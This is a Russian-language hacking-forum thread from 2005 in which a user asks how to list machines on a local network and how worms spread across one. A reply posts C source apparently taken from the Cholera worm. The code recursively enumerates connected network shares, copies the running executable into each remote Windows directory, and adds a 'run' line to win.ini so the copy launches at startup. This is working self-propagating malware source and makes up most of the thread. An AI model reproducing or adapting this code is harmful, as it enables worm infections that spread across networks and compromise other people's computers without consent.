Нахождение компа в локальной сети

Тема в разделе "WASM.NETWORKS", создана пользователем ganes, 9 янв 2005.

  1. ganes

    ganes New Member

    Публикаций:
    0
    Регистрация:
    7 дек 2004
    Сообщения:
    62
    Адрес:
    Ukraine
    Как мне найти капутер в локальной сети, т.е выдрать из виндовза все подключенные к моему компу машины? И как вот интересно все эти червяки по локалке размножаються, т.е

    как умудряються установиться на соседние компы???
     
  2. Broken Sword

    Broken Sword Robert

    Публикаций:
    0
    Регистрация:
    30 авг 2002
    Сообщения:
    433
  3. ganes

    ganes New Member

    Публикаций:
    0
    Регистрация:
    7 дек 2004
    Сообщения:
    62
    Адрес:
    Ukraine
  4. khv_test

    khv_test New Member

    Публикаций:
    0
    Регистрация:
    30 июн 2004
    Сообщения:
    135
    GriYo\cholera-ctx\localnet.c



    void Rem0teInfecti0n(char *szPath)

    {

    char *dir_name[5]= { szWindir00, szWindir01, szWindir02, szWindir03, szWindir04 };

    WIN32_FIND_DATAA FindData;

    HANDLE hFind;

    char szLookUp[MAX_PATH];

    char w0rm0rg[MAX_PATH];

    char w0rmD3st[MAX_PATH];

    int aux;



    for (aux = 0; aux < 5; aux++ )

    {

    sprintf (szLookUp, "%s\\%s%s", szPath, dir_name[aux], szWIN_INI);

    if ((hFind = FindFirstFileA(szLookUp, (LPWIN32_FIND_DATAA) &FindData)) != INVALID_HANDLE_VALUE)

    {

    sprintf(w0rmD3st, "%s\\%s\\%s", szPath, dir_name[aux], szSYSTEM_EXE);



    if (GetModuleFileNameA(NULL, w0rm0rg, MAX_PATH) != 0)

    {

    if (CopyFileA(w0rm0rg, w0rmD3st, TRUE) != 0)

    {

    WritePrivateProfileStringA(szWindir00, "run", szSYSTEM_EXE, szLookUp);

    FindClose (hFind);

    break;

    }

    }



    FindClose (hFind);

    }

    }

    }



    void NetW0rming(LPNETRESOURCE lpnr)

    {

    LPNETRESOURCE lpnrLocal;

    HANDLE hEnum;

    int count;

    int cEntries = 0xFFFFFFFF;

    DWORD dwResult;

    DWORD cbBuffer = 32768;



    if (WNetOpenEnum (RESOURCE_CONNECTED,RESOURCETYPE_ANY,0,lpnr,&hEnum) != NO_ERROR) return;

    do

    {

    lpnrLocal = (LPNETRESOURCE) GlobalAlloc(GPTR, cbBuffer);

    dwResult = WNetEnumResource(hEnum,&cEntries,lpnrLocal,&cbBuffer);

    if (dwResult == NO_ERROR)

    {

    for (count=1;count<cEntries;count++)

    {

    if (lpnrLocal[count].dwUsage & RESOURCEUSAGE_CONTAINER)

    {

    NetW0rming(&lpnrLocal[count]);

    }

    else if (lpnrLocal[count].dwType == RESOURCETYPE_DISK)

    {

    Rem0teInfecti0n(lpnrLocal[count].lpRemoteName);

    }

    }

    }

    else if (dwResult!=ERROR_NO_MORE_ITEMS) break;

    } while (dwResult != ERROR_NO_MORE_ITEMS);

    GlobalFree((HGLOBAL) lpnrLocal);

    WNetCloseEnum(hEnum);

    return;

    }